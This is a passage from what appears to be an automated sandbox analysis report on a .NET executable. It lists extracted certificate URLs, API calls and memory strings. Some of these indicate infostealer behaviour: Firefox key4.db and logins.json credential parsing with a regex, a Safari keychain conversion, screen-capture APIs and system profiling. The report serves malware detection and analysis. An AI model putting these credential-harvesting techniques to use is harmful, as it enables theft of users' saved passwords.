"00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0,1,0,@96120531151137z0/^g(o-cejy" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcn:'-aowashington1redmond1microsoft" - Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00007972.00000002.106946.03621000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ejdp&" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcr" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0,1,0,@96120531151137z0/^g(o-cejy" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcn:'-aowashington1redmond1microsoft" - Source: "00000000-00007972.00000002.106946.08E50000.00000004.mdmp")49:Teac,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00000336)4a:T1940,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00003052.00000000.103005.00CC1000.00000020.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp, 00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "Uses RsaCryptoServiceProvider to encrypt and decrypt" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ecdsa"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.MD5Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.DpapiDataProtector, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "System.Security.Cryptography.HashAlgorithm" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp")4b:T5de,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp")4c:T5eb,Found reference to API "10713440262,1072,3120,,CreateToolhelp32Snapshot,kernel32.dll,"00:26:49.421",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003052.00000000.103005.00660000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003052.00000000.103005.00CD1000.00000002.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007972.00000000.103107.00400000.00000040.mdmp")4d:T64e,Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference ".ctor" in "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference ".ctor" in "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "get_Parameters" in "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" Observed namespace "System.Data.SqlClient.SqlParameterCollection" and TypeReference "AddWithValue" in "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "ExecuteReader" in "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" Observed namespace "System.Data.SqlClient.SqlConnection" and TypeReference ".ctor" in "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397" Observed namespace "System.Data.SqlClient.SqlDataAdapter" and TypeReference ".ctor" in "JSCrIQqACnlzp.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference ".ctor" in "JSCrIQqACnlzp.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "get_Parameters" in "JSCrIQqACnlzp.exe" Observed namespace "System.Data.SqlClient.SqlParameterCollection" and TypeReference "AddWithValue" in "JSCrIQqACnlzp.exe" Observed namespace "System.Data.SqlClient.SqlCommand" and TypeReference "ExecuteReader" in "JSCrIQqACnlzp.exe" Observed namespace "System.Data.SqlClient.SqlConnection" and TypeReference ".ctor" in "JSCrIQqACnlzp.exe"4e:T75e,Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00000336.00000000.102479.056C0000.00000004.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "hashedcontrolpassword %hash%" (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") file/memory contains long string with (Indicator: "password"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp")4f:T4fa,Found string "o6806642kbM7c5Safari Browser -convert xml1 -s -o "\fixed_keychain.xml" A10B1112D13E14F15ABCDEF(EndsWithIndexOfUNIQUEtable00061561Berkelet DB00000002 1.85 (Hash, version 2, native byte-order)Unknow database formatkey4.dbmetaDataiditem1item2nssPrivatea11a1022a864886f70d02092a864886f70d010c050103key3.dbglobal-saltVersionpassword-checklogins.json\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"[^\u0020-\u007F]signons.sqlitemoz_loginshostnameencryptedUsernameencryptedPassword;" (Indicator: "key4.db"; in Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "o6806642kbM7c5Safari Browser -convert xml1 -s -o "\fixed_keychain.xml" A10B1112D13E14F15ABCDEF(EndsWithIndexOfUNIQUEtable00061561Berkelet DB00000002 1.85 (Hash, version 2, native byte-order)Unknow database formatkey4.dbmetaDataiditem1item2nssPrivatea11a1022a864886f70d02092a864886f70d010c050103key3.dbglobal-saltVersionpassword-checklogins.json\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"[^\u0020-\u007F]signons.sqlitemoz_loginshostnameencryptedUsernameencryptedPassword;" (Indicator: "key3.db"; in Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp")50:Ta00,file/memory contains long string with (Indicator: " Win32_Process"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_Processor"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.03621000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.03621000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_Process"; Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_Processor"; Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp")51:T883,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000336.00000000.102479.033F0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003052.00000000.103005.00660000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007972.00000000.103107.03530000.00000004.mdmp, 